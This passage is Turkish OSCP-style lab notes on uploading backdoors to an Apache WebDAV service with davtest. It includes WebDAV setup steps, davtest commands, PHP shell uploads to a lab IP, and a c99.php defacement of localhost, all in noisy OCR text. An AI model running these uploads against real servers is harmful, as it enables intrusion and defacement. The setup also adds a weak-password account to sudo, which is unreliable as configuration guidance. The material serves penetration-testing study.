noktadan sonra backdoor dosyamiza eriserek exploitation'' (web site hack'lemesini)
gerceklestirebiliriz.

ii) Hedef WebDav Servisine Glivenligi Bypass Ederek Backdoor Upload'lama

Eger davtest tool'unun default kullanimi sonucunda hicbir matematiksel islem tasiyan betik dosyasi
upload'lanamamissa ve sadece txt uzantili dosya upload'lanabilmisse -move parametresi ile tim
script'leri txt uzantih olarak hedef sisteme upload'layip tim dosyalar hedef web sunucusuna
yerlestiginde sirasiyla ilgili script uzantisina donisturidlmeye calisilabilir. Move komutu ile
upload'lanan dosyalar ilgili betik dili uzantisina donisebilirlerse hedef sistemin upload
mekanizmasindaki glivenlik 6nlemi bypass edilmis olacaktir.

// Move ile hedef web sunucuya matematiksel islem tasiyan betik dosyalari txt olarak
// upload'lanir ve sonra dosyalar sunucuya yerlestikten sonra ilgili uzantilarina
// donusturilmeye cahsilir.

> davtest -move -url http://172.16.3.72/webdav

Buradan hareketle belirli bir backdoor dosyasini txt uzantil génderip sonra galistirabilir uzantiya
donusturebiliriz.

// TXT Yapma islemi Kendi Backdoor'umuz igin DavTest'te CALISMIYOR (!)

> davtest -move -uploadfile /root/backdoor.php -uploadloc ./ -url http://172.16.3.72/webdav

/]
Al
/-~

// Default kullanima -move parametresi eklendiginde giktiya test betik dosyalarinin
// (matematiksel islem tasiyan dosyalarin) txt uzantih olarak basariyla upload'landigi ve

// sonra MOVE komutuyla basarili bir sekilde ilgili uzantilara hedef sunucuda

// donusturuldigi gorulmektedir. Fakat kendi backdoor'umuzu upload'larken -move

// parametresi ayni islem gerceklestirememektedir. Github'daki tool'un kaynak koduna

// bakildiginda -move parametresinin sadece davtest tool'u icerisinde tanimli backdoor'lar
// upload'lanirken islevsel oldugu goértulmulmustir. Kendi backdoor'umuz icin move

// parametresi calissin seklinde bir kodlamaya rastlanmamistir (Her kod blogunun basinda

// islevini anlatan yorum satirlari bulunuyordu ve kendi backdoor'umuzu move ile

// upload'lamaya dair bir kod bloguna rastlanmadi). Ayrica davtest log'larina bir default
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iii) Hedef WebDav Servisine DavTest i¢inde Yiiklii Backdoor'u Upload'lama

-sendbd (send backdoor) parametresi ise i) maddesinde yapildigi Gzere kendi backdoor dosyamizi
upload'lamak yerine davtest tool'undaki tim betik dilleri i¢in tanimli backdoor'lari hedef sisteme
upload'lamayi saglar. Davtest tool'una sendbd parametre degeri olarak auto verilirse davtest tool'u
hedef sistemde sadece saptadigl desteklenen (calisabilen) script dillerinde “shell script” dosyalarini
upload'layacaktir.

// Tim matematiksel islem tasiyan script'ler génderilir. Calisabilen script'ler saptanir ve
// sendbd auto parametresi ile desteklenen tirden backdoor dosyalari hedef sisteme
// upload'lanir ve exploitation'a giden yol acilir.

> davtest -sendbd auto -url http://172.16.3.72/webdav

iv) Hedef WebDav Servisine DavTest icinde Yiiklii Backdoor'u Giivenligi Bypass
Ederek Upload'lama

Nihai olabilecek kullanim sekli (-move ve -sendbd nin beraber kullanimi) asagida verilmistir. Daha
Once ifade edildigi lUzere move parametresi hedef sisteme upload'lanan dosyalari txt uzantil
upload'layip dosyalar sunucuya yerlestikten sonra ilgili uzantilarina doénistlirmeye yariyordu ve
sendbd parametresi ise “davtest icinde yukli” backdoor'lari upload'lamaya yariyordu. Beraber
kullanildiklarinda ikisinin 6zellikleri birlesir. Asagidaki kullanimda davtest default kullanimi dolayisiyla
Oonce tiim matematiksel islemlere sahip test script'leri hedef sisteme yollanir, ancak -move
parametresi kullanildig icin txt uzantih yapilarak yollanir. Ardindan move parametresi ile hedef
sistemde tlim txt uzantili dosyalar ilgili script uzantisina dénustirilmeye calisilir. Dénilisen dosyalar
icerisinden matematiksel islemi hesaplayan (yani galisan) script'ler tespit edilir ve boylece hedef
sistemin destekledigi script dilleri saptanir. Ardindan -sendbd auto ile desteklenen tiirden shell
dosyalari hedef sisteme txt olarak gonderilip sonradan ilgili betik uzantisina donlstirulerek
upload'lanir.

// Move ile hedef web sunucuya matematiksel islem tasiyan betik dosyalari txt olarak
// upload'lanir ve sonra dosyalar sunucuya yerlestikten sonra ilgili uzantilarina
// donisturilmeye cahsihir. Donlisen betik dosyalari icersinden matemetiksel islemi
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// hesaplayanlar tespit edilir ve boylece desteklenen betik dilleri belirlenir. Ardindan belir-
// lenen betik dillerinde davtest icindeki backdoor'lar hedef sisteme txt olarak upload'lanir
// ve sonrailgili uzantilarina donusturilerek exploitation'a giden yol agilir.

> davtest -move -sendbd auto -url http://172.16.3.72/webdav

d. Apache'ye WebDav Kurulumu
[+] Birebir denenmistir ve basariyla Ubuntu 14.04 LTS ana makinasina kurulmustur.

DavTest Tool'unu hedef apache sunucuda kullanabilmek icin hedef apache sunucuda bir apache
moduli olan WebDav modilinin kurulu olmasi gerekmektedir. Bu nedenle apache sunucuya
WebDav modiili su sekilde kurulmaktadir.

# Apache sunucuda WebDav modiill (servisi) icin herhangi bir isimde dizin olusturulur.
sudo mkdir /var/www/webdav

# Apache yazilimina /var/www'de yazma izni vermek i¢in owner izni apache kullanicisina
# verilir.
sudo chown -R www-data:www-data /var/www/

# Apache sunucusuna webdav modilleri ylklenir.
sudo a2enmod dav
sudo a2enmod dav_fs

# Apache sunucusundaki 000-default.conf konfigurasyon dosyasi agilir.
nano /etc/apache2/sites-available/000-default.conf

# ilk satira asagidaki ifade girilir.
DavLockDB /var/www/DavLock

# Ardindan <VirtualHost> tag'lari arasina ise asagidaki ifadeler girilir.
Alias /webdav /var/www/webdav
<Directory /var/www/webdav>
DAV On
</Directory>

# Sonug olarak 000-default.conf konfigurasyon dosyasinin son

# hali suna benzer olacaktir:

DavLockDB /var/www/DavLock

<VirtualHost *:80>
# The ServerName directive sets the request scheme, hostname and port that
# the server uses to identify itself. This is used when creating
# redirection URLs. In the context of virtual hosts, the ServerName
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# specifies what hostname must appear in the request's Host: header to
# match this virtual host. For the default virtual host (this file) this

# value is not decisive as it is used as a last resort host regardless.

# However, you must set it for any further virtual host explicitly.
#ServerName www.example.com

ServerAdmin webmaster@Iocalhost
DocumentRoot /var/www/html

# Available loglevels: traces, ..., tracel, debug, info, notice, warn,
# error, crit, alert, emerg.

# It is also possible to configure the loglevel for particular

# modules, e.g.

#LogLevel info ssl:warn

ErrorLog S{APACHE_LOG_DIR}/error.log
CustomLog S{APACHE_LOG_DIR}/access.log combined

# For most configuration files from conf-available/, which are

# enabled or disabled at a global level, it is possible to

# include a line for only one particular virtual host. For example the
# following line enables the CGI configuration for this host only

# after it has been globally disabled with "a2disconf".

#Include conf-available/serve-cgi-bin.conf

Alias /webdav /var/www/webdav

<Directory /var/www/webdav>
DAV On

</Directory>

</VirtualHost>

# vim: syntax=apache ts=4 sw=4 sts=4 sr noet
# Son olarak apache servisi yeniden baslatilir.
sudo service apache2 restart

Boylece WebDav servisi apache'ye kurulmus olacaktir.

Uyari

WebDav servisine erisimin kullanici adi ve sifre ile yapilmasi isteniyorsa DIGEST authentication
modull kullanilabilir. Bunun igin;

# Apache sunucusunda WebDav servisi icin hesap olusturulur.
> adduser alex // Sifre sordugunda da alex

diyelim.

# WebDav servisi hesabi sudo grubuna eklenir.
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> usermod -aG sudo alex

# Apache Digest moduli enable edilir.
> sudo a2enmod auth_digest

# Digest dosyasi olusturabilmek icin gerekli dependency'ler yiklenir.
> sudo apt-get install apache2-utils

# Digest kullanici adi - sifre dosyasi olusturulur.

> sudo htdigest -c /etc/apache2/users.password webdav alex // Sifre soruldugunda alex
// girilir.

# Apache user'inin (www-data nin) digest kullanici adi -

# sifre dosyasini okumasina izin verilir.

> sudo chown www-data:www-data /etc/apache2/users.password

# Ardindan apache sunucusundaki 000-default.conf konfigurasyon dosyasi acllir.
> nano /etc/apache2/sites-available/000-default.conf

# <Directory> tag'lari arasina asagidaki satirlar girilir:
AuthType Digest

AuthName "webdav"

AuthUserFile /etc/apache2/users.password

Require valid-user

# Sonug olarak 000-default.conf konfigurasyon dosyasinin son
# hali suna benzer olur:
DavLockDB /var/www/DavLock

<VirtualHost *:80>
# The ServerName directive sets the request scheme, hostname and port that
# the server uses to identify itself. This is used when creating
# redirection URLs. In the context of virtual hosts, the ServerName
# specifies what hostname must appear in the request's Host: header to
# match this virtual host. For the default virtual host (this file) this
# value is not decisive as it is used as a last resort host regardless.
# However, you must set it for any further virtual host explicitly.
#ServerName www.example.com

ServerAdmin webmaster@localhost
DocumentRoot /var/www

# Available loglevels: traces, ..., tracel, debug, info, notice, warn,
# error, crit, alert, emerg.

# It is also possible to configure the loglevel for particular

# modules, e.g.

# LoglLevel info ssl:warn

ErrorLog S{APACHE_LOG_DIR}/error.log

CustomLog S{APACHE_LOG_DIR}/access.log combined
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# For most configuration files from conf-available/, which are

# enabled or disabled at a global level, it is possible to

#include a line for only one particular virtual host. For example the
# following line enables the CGI configuration for this host only

# after it has been globally disabled with "a2disconf".

# Include conf-available/serve-cgi-bin.conf

Alias /webdav /var/www/webdav

<Directory /var/www/webdav>
DAV On
AuthType Digest
AuthName "webdav"
AuthUserFile /etc/apache2/users.password
Require valid-user
</Directory>

</VirtualHost>
# vim: syntax=apache ts=4 sw=4 sts=4 sr noet

# Son olarak apache servisi yeniden baslatilir.
> sudo service apache2 restart

Boylece WebDav servisine erisim kullanici adi ve sifre kontroliyle gerceklesir.

Index of fwebdav - Chromium

[ Index of /fwebdav  x
&« C | @ localhost

Index of /webdav

Name Last modified Size Description

& Parent Directory -

Apache/2.4.7 (Ubuntu) Server at localhost Port 80

&
IE
.
‘?)
9
=}
[
N7

Not : /etc/apache2/apache2.conf dosyasindaki sadece GET, POST ve HEAD taleplerine izin veren
konfigurasyon ayari davtest tool'u, (sonradan bahsedilecek) cadaver istemcisi ve (sonradan
bahsedilecek) File Browser ile WebDav'a erismemizi engellemektedir. Clinkii webdav GET, POST ve
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HEAD methodlari disinda baska http methodlari da kullanmaktadir. O nedenle WebDav servisine
erisim icin ilgili konfigurasyon ayarini asagidaki gibi yorum satiri yapmamiz gerekmetktedir.

> nano /etc/apache2/apache2.conf

#<Location />

# <LimitExcept HEAD GET POST>
# order deny,allow

# denyfrom all

# </LimitExcept>

#</Location>

Not 2: Eger WebDav servisinde kullanici adi ve sifre kontrolini kapamak istiyorsak <Directory>
dizinleri arasindaki

AuthType Digest
AuthName "webdav"
AuthUserFile /etc/apache2/users.password

Require valid-user

satirlarini yorum satiri yapip apache?2 'yi restart'lamak yeterlidir.

e. Uygulama (Apache'ye Davtest Yapma)
[+] Birebir denenmistir ve basariyla uygulanmistir.
Gereksinimler

- OSCP Kali [Davtest Tool'u]
- Ubunu 14.04 LTS [Hedef Apache ve WebDav Servisi]

Hedef apache sunucusunu OSCP Kali sanal makinasindeki davtest tool'u ile test etmek icin OSCP Kali
sanal makinasinda asagidaki komut ¢alistirilir:
OSCP Kali Terminal:
> davtest -url http://172.16.3.72/webdav/
Not: IP adresi Ubuntu 14.04 LTS nindir. /webdav dizini ise WebDav kurulumu
sirasinda belirlenmis WebDav servisinin kok dizinidir.

Not2 : Hedef IP adresinin localhost'una erisim i¢cin Ubuntu 14.04 LTS 'deki ufw disable
edilmelidir.
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Output:

Output

3k 3k 3k 3k 3k 3k ok 3k 3k ok %k 3k %k ok 3k 3k ok %k 3k %k ok 3k 3k 3k 3k 3k ok 3k 3k %k 3k 3k 3k %k 3k 3k ok %k 3k %k ok 3k 3k %k %k 3k *k ok 3k 3k %k %k >k *k k ok
Testing DAV connection

OPEN SUCCEED: http://172.16.3.72/webdav

3k %k ok ok 3k ok ok %k ok %k %k ok %k %k ok %k sk ok sk sk %k sk sk sk sk sk sk sk sk sk sk sk sk sk sk sk sk sk sk sk sk sk sk sk sk sk sk sk sk sk sk sk sk sk k ok

NOTE Random string for this session: dHRSZQhl

3k 3k 3k 3k 3k 3k 3k 3k 3k 3k 3k 3k 3k 3k 3k 3k 3k 3k 3k 3k %k 3k 3k 3k %k 3k 3k 3k 5k 5k %k %k %k 5k %k 3k >k 5k 3k 3k 3k 3k 3k 3k 3k %k %k %k %k %k %k k >k kkk

Creating directory

MKCOL SUCCEED: Created http://172.16.3.72/webdav/DavTestDir_dHRSZQhl

3k 3k 3k 3k 3k 3k 3k 3k 3k 3k 3k 3k 3k 3k 3k 3k 3k 3k 3k 3k 3k 3k 3k 3k %k 3k 3k 3k 5k 5k %k %k %k >k %k >k %k 3%k 3k 3%k 3k 3k 3k 3k 3k 3k 3k %k %k %k %k %k k k sk k

Sending test files

PUT cfm SUCCEED  http://172.16.3.72/webdav/DavTestDir_dHRSZQhl/davtest_ dHRSZQhl.cfm
PUT pl SUCCEED: http://172.16.3.72/webdav/DavTestDir_dHRSZQhl/davtest_ dHRSZQhl.pl
PUT txt SUCCEED: http://172.16.3.72/webdav/DavTestDir_dHRSZQhl/davtest_dHRSZQhl.txt
PUT asp SUCCEED: http://172.16.3.72/webdav/DavTestDir_dHRSZQhl/davtest_dHRSZQhl.asp
PUT jhtml SUCCEED: http://172.16.3.72/webdav/DavTestDir_dHRSZQhl/davtest_dHRSZQhl.jhtml
PUT aspx SUCCEED: http://172.16.3.72/webdav/DavTestDir_dHRSZQhl/davtest_dHRSZQhl.aspx
PUT html SUCCEED: http://172.16.3.72/webdav/DavTestDir_dHRSZQhl/davtest_dHRSZQhl.html
PUT shtml ~ SUCCEED: http://172.16.3.72/webdav/DavTestDir_dHRSZQhl/davtest_dHRSZQhl.shtml
PUT  jsp SUCCEED:  http://172.16.3.72/webdav/DavTestDir_dHRSZQhl/davtest_dHRSZQhl.jsp
PUT cgi SUCCEED: http://172.16.3.72/webdav/DavTestDir_dHRSZQhl/davtest_dHRSZQhl.cgi
PUT php SUCCEED: http://172.16.3.72/webdav/DavTestDir_dHRSZQhl/davtest_ dHRSZQhl.php
3k 3k 3k 3k 3k 3k 3k 3k >k 3k 3k 5k 3k >k 5k 3k >k 3k 3k 5k 3k >k 5k 3k 3%k 3k >k >k 3k >k 5k 3k 5%k 3k >k 5k %k %k 3k 3k 5k 3k >k 5k %k %k %k %k 3%k %k *k %k k *kk k

Checking for test file execution

EXEC cfm FAIL

EXEC pl FAIL
EXEC txt SUCCEED: http://172.16.3.72/webdav/DavTestDir_dHRSZQhl/davtest_dHRSZQhl.txt
EXEC asp FAIL

EXEC  jhtml  FAIL
EXEC aspx FAIL
EXEC html SUCCEED:  http://172.16.3.72/webdav/DavTestDir_dHRSZQhl/davtest_dHRSZQhl.html
EXEC shtml FAIL
EXEC  jsp FAIL
EXEC  cgi FAIL
EXEC php SUCCEED:  http://172.16.3.72/webdav/DavTestDir_dHRSZQhl/davtest_dHRSZQhl.php

3k 3k 3K 3K 3k 3k 3K K 3k %k 3k 3k %k % 3k %k % 3k % 3 3k % 3 %k % 5k %k %k %k %k 3% % %k 3% % % %k % %k % % % % % 5% % % 5% % % % % %k *k *k ¥

/usr/bin/davtest Summary:

Created: http://172.16.3.72/webdav/DavTestDir_dHRSZQhl

PUT File: http://172.16.3.72/webdav/DavTestDir_dHRSZQhl/davtest_dHRSZQhl.cfm
PUT File: http://172.16.3.72/webdav/DavTestDir_dHRSZQhl/davtest_dHRSZQhl.pl
PUT File: http://172.16.3.72/webdav/DavTestDir_dHRSZQhl/davtest_dHRSZQhl.txt
PUT File: http://172.16.3.72/webdav/DavTestDir_dHRSZQhl/davtest_dHRSZQhl.asp
PUT File: http://172.16.3.72/webdav/DavTestDir_dHRSZQhl/davtest_dHRSZQhl.jhtml
PUT File: http://172.16.3.72/webdav/DavTestDir_dHRSZQhl/davtest_dHRSZQhl.aspx
PUT File: http://172.16.3.72/webdav/DavTestDir_dHRSZQhl/davtest_dHRSZQhl.html
PUT File: http://172.16.3.72/webdav/DavTestDir_dHRSZQhl/davtest_dHRSZQhl.shtml
PUT File: http://172.16.3.72/webdav/DavTestDir_dHRSZQhl/davtest_dHRSZQhl.jsp
PUT File: http://172.16.3.72/webdav/DavTestDir_dHRSZQhl/davtest_dHRSZQhl.cgi
PUT File: http://172.16.3.72/webdav/DavTestDir_dHRSZQhl/davtest_dHRSZQhl.php
Executes: http://172.16.3.72/webdav/DavTestDir_dHRSZQhl/davtest_dHRSZQhl.txt
Executes: http://172.16.3.72/webdav/DavTestDir_dHRSZQhl/davtest_dHRSZQhl.html
Executes: http://172.16.3.72/webdav/DavTestDir_dHRSZQhl/davtest_dHRSZQhl.php
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Ciktadan gorilebilecegi lGizere dnce hedef apache sunucusunda WebDav servisi agitk mi kontroli
yapilmistir. Acgik oldugu tespitinden sonra bir klasor olusturulmustur ve test amach (matematiksel
islem iceren) tim betik dillerinde dosyalar hedef apache sunucusundaki olusturulan klasére WebDav
servisi lizerinden upload'lanmistir. Daha sonra génderilen betik dosyalarindaki matematiksel islemleri
hesaplayabilen dosyalar belirlenip hangi betik dilinin hedef sistemde calistigl tespit edilmistir. Son
olarak da cgiktidaki Summary bashg altinda basariyla upload'lanan test betik dosyalari ve Executes:
satirlari ile de hedef sunucuda galisabilen betik dilleri ekrana basiimistir. Asagida WebDav servisine
upload'lanan dosyalari gormektesin:

Ubuntu 14.04 LTS WebDav Dizini:

Index of fwebdav/DavTestDir_ZShXqBOTylgsIVY - Chromium

@ Index of /webdav x

<« C | @ localhost
| Index of /webdav/DavTestDir_ZShXqBOTylgsIVY

Name Last modified Size Description

a Parent Directory

@ davtest ZShXgBOTylgsIVY¥.asp 2018-03-08 13:53 44
@ davtest ZShXqBOTylgsIVY¥.aspx 2018-03-08 13:53 44
@ davtest ZShXqBOTylgsIVY.cfm 2018-03-08 13:53 42
@ davtest ZShXqBOTylgsIV¥.cgi 2018-03-08 13:53 66
davtest ZShXqBOTylgsIVY.html 2018-03-08 13:53 26
@ davtest ZShXqBOTylgsIVY.jhtml 2018-03-08 13:53 37
@ davtest ZShXgBOTylgsIVY.jsp  2018-03-08 13:53 37
@ davtest ZShXqBOTylgsIVY.php 2018-03-08 13:53 24
davtest ZShXqBOTylgsIVY.pl 2018-03-08 13:53 66
davtest ZShXqBOTylgsIVY.shiml 2018-03-08 13:53 184
davtest ZShXqBOTylgsIVY.rxt 2018-03-08 13:53 19

Apache/2.4.7 (Ubuntu) Server at localhost Port 80

-

Bu noktadan sonra davtest tool'unun ciktisindan gorebilecegimiz Uzere calisabilen betik dilini
o0grendigimize gore elle belirli bir backdoor dosyasini hedef sunucuya upload'layabiliriz. Ya da davtest
tool'u igerisinde taniml bir backdoor dosyasini otomatikmen hedef sunucuya gonderebiliriz.

=> Kendi Backdoor'umuzu Upload'lama
# DavTest Tool'u Ciktisinin Summary (Ozet) Baslig Suydu:

Created: http://172.16.3.72/webdav/DavTestDir_dHRSZQhl

PUT File: http://172.16.3.72/webdav/DavTestDir_dHRSZQhl/davtest_ dHRSZQhl.cfm
PUT File: http://172.16.3.72/webdav/DavTestDir_dHRSZQhl/davtest dHRSZQhl.pl
PUT File: http://172.16.3.72/webdav/DavTestDir_dHRSZQhl/davtest_dHRSZQhl.txt
PUT File: http://172.16.3.72/webdav/DavTestDir_dHRSZQhl/davtest_dHRSZQhl.asp
PUT File: http://172.16.3.72/webdav/DavTestDir_dHRSZQhl/davtest dHRSZQhl.jhtml
PUT File: http://172.16.3.72/webdav/DavTestDir_dHRSZQhl/davtest_ dHRSZQhl.aspx
PUT File: http://172.16.3.72/webdav/DavTestDir_dHRSZQhl/davtest_dHRSZQhl.html
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PUT File: http://172.16.3.72/webdav/DavTestDir_dHRSZQhl/davtest_ dHRSZQhl.shtml
PUT File: http://172.16.3.72/webdav/DavTestDir_dHRSZQhl/davtest_dHRSZQhl.jsp
PUT File: http://172.16.3.72/webdav/DavTestDir_dHRSZQhl/davtest_dHRSZQhl.cgi
PUT File: http://172.16.3.72/webdav/DavTestDir_dHRSZQhl/davtest_ dHRSZQhl.php
Executes: http://172.16.3.72/webdav/DavTestDir_dHRSZQhl/davtest dHRSZQhl.txt
Executes: http://172.16.3.72/webdav/DavTestDir_dHRSZQhl/davtest_dHRSZQhl.html
Executes: http://172.16.3.72/webdav/DavTestDir_dHRSZQhl/davtest_dHRSZQhl.php

# Yani hedef sunucuda g¢alisabilen betik dilleri su sekildeymis:

Executes: http://172.16.3.72/webdav/DavTestDir_dHRSZQhl/davtest_ dHRSZQhl.txt
Executes: http://172.16.3.72/webdav/DavTestDir_dHRSZQhl/davtest_dHRSZQhl.html
Executes: http://172.16.3.72/webdav/DavTestDir_dHRSZQhl/davtest_dHRSZQhl.php

O halde hedef web sunucuda desteklenen betik dili php olduguna gore bir php backdoor'unu (simdilik
ici bos olsun) hedef apache sunucusuna WebDav servisi Gizerinden upload'layalim.

Kali Linux 2018 Terminal:

> cd /root
> touch backdoor.php

( yeni kali’lerde )

> davtest -uploadfile /root/backdoor.php -uploadloc backdoor.php -url http://172.16.3.
72/webdav

( eski kali’lerde )

> davtest -uploadfile /root/backdoor.php -uploadloc ./ -url http://172.16.3.72/webdav

Output:

3k 3k 3k 3k >k 3k 3k 3k 3k 3k 3k %k >k >k 3k 3k 3k 3k 3k %k 3k >k %k >k 3k 3%k 3k %k >k %k >k 3k 3k 3k %k %k %k 3k 3k 3k 3k 5k %k %k %k %k >k 3k 3k 3k %k %k %k %k k %k

Testing DAV connection

OPEN SUCCEED: http://172.16.3.72/webdav
3k 3k sk 3k sk 3k sk 3k sk 3k sk sk sk sk 3k sk sk sk sk 3k sk ok sk sk sk sk sk sk sk sk ok sk sk sk sk ok sk ok skosk sk sk sk skosk sk sk sk sk sk sksk ksk sk ok
unless Uploading file

Upload succeeded: http://172.16.3.72/webdav/backdoor.php

Goraldagu tzere OSCP Kali'deki /root/backdoor.php dosyasi hedef WebDav servisinde bulunulan
dizine (yani kok dizine) upload'lanmistir. Ubuntu 14.04 LTS apache sunucusundaki WebDav servisinin
kok dizinine bakacak olursak backdoor.php'yi gorebiliriz.
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Ubuntu 14.04 LTS WebDav Dizini:

Index of fwebdav - Chromium

@ [0 Index of fwebdav
|E| €« =2 C | @ localhost/webda

Index of /webdav

Name Last modified Size Description

a a Parent Directory -

(T3 DavTestDir ZShXqBOTylgsIVY/ 2018-03-08 13:53 -
@ backdoor.php 2018-03-08 14:01 10

Apache/2.4.7 (Ubuntu) Server at localhost Port 80

Boylece hedef web sunucusundaki backdoor'a eriserek web sitesini hack'leyebiliriz.

Not: ¢99.php dosyasi upload'lanmistir ve araylizden “Go to Directory” bolimi ile bir st dizine
gecilmistir. Ardindan “Make File” bolimi ile index.html dosyasi olusturulup igcine Hacked By Bla Bla
yazilmistir. Boylece localhost sunucusu hack'lenmistir.

=> DavTest Tool'u iginde Yiiklii Olan Backdoor'lari Upload'lama

Davtest tool'u icinde yiiklii backdoor'lari upload'lamak igin dnce desteklenen betik dillerini saptamaya
ihtiyac yoktur. Clinkl bu islemi davtest tool'u bizim yerimize yapip desteklenen dile gore icinde yer
alan uygun backdoor'u karsi sisteme upload'lamaktadir.

OSCP Kali Terminal:

> davtest -sendbd auto -url http://172.16.3.72/webdav

Output:

skokokoksk ok sksk ok sk sk sk sk sk sk sk sk sk sk sk sk sk sk sk sk sk sk sk sk sk sk sk sk sk sk sk sk sk sk sk sk sk sk sk sk sk sk sk sk sk sk sk sk sk sk k-

Testing DAV connection
OPEN SUCCEED: http://172.16.3.72/webdav

3k % ok ok 3k ok %k %k ok sk sk sk sk sk sk sk sk sk sk sk sk sk sk sk sk sk sk sk sk sk sk sk sk sk sk sk sk sk sk sk sk sk sk sk sk sk sk sk sk sk sk sk k sk k ok
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NOTE Random string for this session: 6IxFLDuff

3k %k ok ok 3k ok ok 3k ok 5k 5k ok k %k ok ok ok ok ok ok ok ok ok ok %k ok ok sk %k ok %k sk ok %k sk %k sk sk sk sk sk sk sk sk sk sk sk k sk k sk k sk k k >k

Creating directory
MKCOL SUCCEED: Created http://172.16.3.72/webdav/DavTestDir_6IxFLDuff

3k 3k ok ok 3k ok ok 3k ok 5k %k ok k %k ok ok ok ok ok ok ok ok ok ok %k ok ok 3k 5k %k %k %k ok %k sk %k sk sk ok sk sk sk sk sk sk sk sk k sk k sk k ok kk >k

Sending test files

PUT txt SUCCEED: http://172.16.3.72/webdav/DavTestDir_6IxFLDuff/davtest_6IxFLDuff.txt
PUT jhtml SUCCEED: http://172.16.3.72/webdav/DavTestDir_6IxFLDuff/davtest_6IxFLDuff.jhtml
PUT jsp SUCCEED:  http://172.16.3.72/webdav/DavTestDir_6IxFLDuff/davtest_6IxFLDuff.jsp

PUT php SUCCEED:  http://172.16.3.72/webdav/DavTestDir_6IxFLDuff/davtest_6IxFLDuff.php
PUT shtml SUCCEED: http://172.16.3.72/webdav/DavTestDir_6IxFLDuff/davtest_6IxFLDuff.shtml
PUT asp SUCCEED: http://172.16.3.72/webdav/DavTestDir_6IxFLDuff/davtest_6IxFLDuff.asp
PUT html SUCCEED: http://172.16.3.72/webdav/DavTestDir_6IxFLDuff/davtest_6IxFLDuff.html
PUT aspx SUCCEED: http://172.16.3.72/webdav/DavTestDir_6IxFLDuff/davtest_6IxFLDuff.aspx
PUT pl SUCCEED: http://172.16.3.72/webdav/DavTestDir_6IxFLDuff/davtest_6IxFLDuff.pl
PUT cgi SUCCEED:  http://172.16.3.72/webdav/DavTestDir_6IxFLDuff/davtest_6IxFLDuff.cgi
PUT cfm SUCCEED:  http://172.16.3.72/webdav/DavTestDir_6IxFLDuff/davtest_6IxFLDuff.cfm

>k 3k 3k 3k 3k 3k 3k K 3k %k K 3k %k 3k 3k %k 3k 3k %k 3k 3k % 3k 3k % 3k %k %k %k 3k 3k %k 3k 3k % 3k %k % 3k %k % 3k % % 3k % % 3k % % * % % *k *k *k

Checking for test file execution

EXEC  txt SUCCEED:  http://172.16.3.72/webdav/DavTestDir_6IxFLDuff/davtest_6IxFLDuff.txt
EXEC  jhtml  FAIL
EXEC  jsp FAIL

EXEC php SUCCEED:  http://172.16.3.72/webdav/DavTestDir_6IxFLDuff/davtest_6IxFLDuff.php
EXEC shtml FAIL

EXEC asp FAIL

EXEC html SUCCEED: http://172.16.3.72/webdav/DavTestDir_6IxFLDuff/davtest_6IxFLDuff.html
EXEC aspx FAIL

EXEC pl FAIL

EXEC cgi FAIL

EXEC cfm FAIL

3k 3k 3k 3k 3k 3k 3k 3k >k 3k 3k 3k 3k 3k 5k 3k 3%k 3k 3k 5k 3k >k 5k 3k 3%k 3k >k >k %k >k 5k 3k 5%k 3k 3k 5k 3k %k %k 3k 5k 3k >k 3k %k 3%k %k %k 3%k %k *k %k k kk k

Sending backdoors

** ERROR: Unable to find a backdoor for txt **

PUT Shell: php SUCCEED:  http://172.16.3.72/webdav/DavTestDir_6IxFLDuff_php_backdoor.php
PUT Shell: php SUCCEED:  http://172.16.3.72/webdav/DavTestDir_6IxFLDuff_php_cmd.php

** ERROR: Unable to find a backdoor for html **

>k 3k 3K 3k 3k 3k 3k 3k 3k %k %k 3k %k Kk 3k %k 3k 3k %k 3k 3k %k 3k %k % 3k %k %k %k %k % %k 3k % %k 5k %k % 3k %k % 3k %k % % % % * % * %k % * *k *k *k

/usr/bin/davtest Summary:

Created: http://172.16.3.72/webdav/DavTestDir_6IxFLDuff

PUT File: http://172.16.3.72/webdav/DavTestDir_6IxFLDuff/davtest_6IxFLDuff.txt

PUT File: http://172.16.3.72/webdav/DavTestDir_6IxFLDuff/davtest_6IxFLDuff.jhtml
PUT File: http://172.16.3.72/webdav/DavTestDir_6IxFLDuff/davtest_6IxFLDuff.jsp

PUT File: http://172.16.3.72/webdav/DavTestDir_6IxFLDuff/davtest_6IxFLDuff.php

PUT File: http://172.16.3.72/webdav/DavTestDir_6IxFLDuff/davtest_6IxFLDuff.shtml
PUT File: http://172.16.3.72/webdav/DavTestDir_6IxFLDuff/davtest_6IxFLDuff.asp

PUT File: http://172.16.3.72/webdav/DavTestDir_6IxFLDuff/davtest_6IxFLDuff.html

PUT File: http://172.16.3.72/webdav/DavTestDir_6IxFLDuff/davtest_6IxFLDuff.aspx

PUT File: http://172.16.3.72/webdav/DavTestDir_6IxFLDuff/davtest_6IxFLDuff.pl

PUT File: http://172.16.3.72/webdav/DavTestDir_6IxFLDuff/davtest_6IxFLDuff.cgi

PUT File: http://172.16.3.72/webdav/DavTestDir_6IxFLDuff/davtest_6IxFLDuff.cfm
Executes: http://172.16.3.72/webdav/DavTestDir_6IxFLDuff/davtest_6IxFLDuff.txt
Executes: http://172.16.3.72/webdav/DavTestDir_6IxFLDuff/davtest_6IxFLDuff.php
Executes: http://172.16.3.72/webdav/DavTestDir_6IxFLDuff/davtest_6IxFLDuff.html
PUT Shell: http://172.16.3.72/webdav/DavTestDir_6IxFLDuff/6IxFLDuff_php_backdoor.php
PUT Shell: http://172.16.3.72/webdav/DavTestDir_6IxFLDuff/6IxFLDuff_php_cmd.php
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Ciktidan gorilebilecegi lizere dnce klasor olusturulmustur ve matematiksel islem iceren tim test
betik dosyalari bu klasore sirasiyla upload'lanmistir. Ardindan matematiksel islemi hesaplayan betik
dosyalari tespit edilmistir ve boylece desteklenen betik dilleri saptanmistir. Bunun Uzerine davtest
tool'u son olarak kendinde tanimli backdoor dosyalarindan desteklenen dile ait olanlari (php
backdoor'larini) karsi sisteme upload'lamistir.

Ubuntu 14.04 LTS WebDav Dizini:

Index of fwebdav/DavTestDir_6IxFLDuFf - Chromium
&) Ubuntu Pastebin

[@ Index of fwebdav/ x

6
Index of /webdav/DavTestDir_ 6IxFLDuff

C | @ localhost

Name

Last modified Size Description

a Parent Directory, - Davtest t t
@ 6IxFLDuff php_backdoor.php 2018-03-08 14:11 3.1K avtest tootunun

Kendinde Taniml
@ 6IxFLDuff php_cmd.php 2018-03-08 14:11 328

PHP Backdoor'lari

@ davtest 6IxFLDuff.asp 2018-03-08 14:11 44

@ davtest 6IxFLDuff aspx 2018-03-06 14:11 44

@ davtest 6IxFLDuff.cfm 2018-03-08 14:11 42

